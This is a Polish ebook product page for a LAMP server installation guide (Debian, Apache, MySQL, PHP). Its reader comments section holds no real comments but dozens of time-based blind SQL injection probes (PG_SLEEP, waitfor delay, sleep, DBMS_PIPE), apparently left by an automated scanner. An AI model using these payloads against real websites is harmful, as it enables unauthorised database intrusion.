Instalacja środowiska LAMP – Linux, Apache, MySQL, PHP5
Czy można uruchomić niskim kosztem dobry serwer WWW z obsługą takich technologii, jak PHP oraz MySQL? Odpowiedź na to pytanie jest jedna – można i do tego nie tylko dobry, ale nawet bardzo dobry, wystarczy tylko zdecydować się na Linuksa. Wbrew krążącym opiniom (wydawanym głównie przez osoby niezbyt zorientowane w temacie), że instalacja środowiska LAMP (Linux + Apache + MySQL + PHP) jest skomplikowana i przeznaczona tylko dla doświadczonych administratorów, postanowiliśmy udowodnić, że nie jest to prawdą. Pokażemy Ci, jak w ciągu kilkunastu minut zainstalować w pełni funkcjonalny serwer WWW, który będziesz mógł zastosować do testów oraz po wprowadzeniu kilku niezbędnych modyfikacji konfiguracyjnych do publikowania własnych i nie tylko dynamicznych stron internetowych w Internecie.
Z tego ebooka dowiesz się:
- Skąd wziąć wymagane do instalacji Linuksa obrazy płyt?
- Jak zainstalować dystrybucję Debiana?
- Skąd pobrać źródła oraz jak zainstalować serwer Apache?
- Kilku istotnych informacji o pliku httpd.conf oraz ustawieniach konfiguracyjnych serwera, które zwiększą poziom bezpieczeństwa oraz wydajność jego pracy
- Jak zainstalować i poprawnie skonfigurować PHP do pracy z serwerem Apache?
- Jaka jest alternatywa dla instalacji komponentów serwera ze źródeł?
Zaloguj się, aby dodać komentarz
Opinie czytelników
~
data: 2026-06-09 09:05:02(select 198766*667891 from DUAL)
~
data: 2026-06-09 09:04:59555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 09:04:59555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 09:04:58555dWYKsTsn') OR 105=(SELECT 105 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:585556nzzX5jT')) OR 64=(SELECT 64 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:57555-1)) OR 137=(SELECT 137 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:57555mjEm6Fg1' OR 383=(SELECT 383 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:56555-1 OR 803=(SELECT 803 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:56555-1) OR 234=(SELECT 234 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:54555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:54555ki7xx3qm'; waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:53555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:53555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:525550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 09:04:52(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 09:04:51555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 09:04:515550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 09:04:40(select 198766*667891 from DUAL)
~
data: 2026-06-09 09:04:38555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 09:04:38555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 09:04:37555T8SU9VwW') OR 37=(SELECT 37 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:375552SWW8GKZ')) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:36555-1)) OR 740=(SELECT 740 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:36555falznJnQ' OR 265=(SELECT 265 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:35555pN0o5Dlz'; waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:35555-1 OR 493=(SELECT 493 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:35555-1) OR 563=(SELECT 563 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:34555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:34555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:34555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:335550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 09:04:33(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 09:04:325550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 09:04:31555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 09:04:20(select 198766*667891 from DUAL)
~
data: 2026-06-09 09:04:18555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 09:04:175557w5KEJTD')) OR 613=(SELECT 613 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:17555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 09:04:16555rEgHFM4D' OR 776=(SELECT 776 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:16555MmPBHWwL') OR 20=(SELECT 20 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:15555-1) OR 246=(SELECT 246 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:15555-1)) OR 834=(SELECT 834 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:14555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:145559xBTbFfk'; waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:14555-1 OR 554=(SELECT 554 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:04:13555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:13555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 09:04:125550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 09:04:12(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 09:04:11555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 09:04:115550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

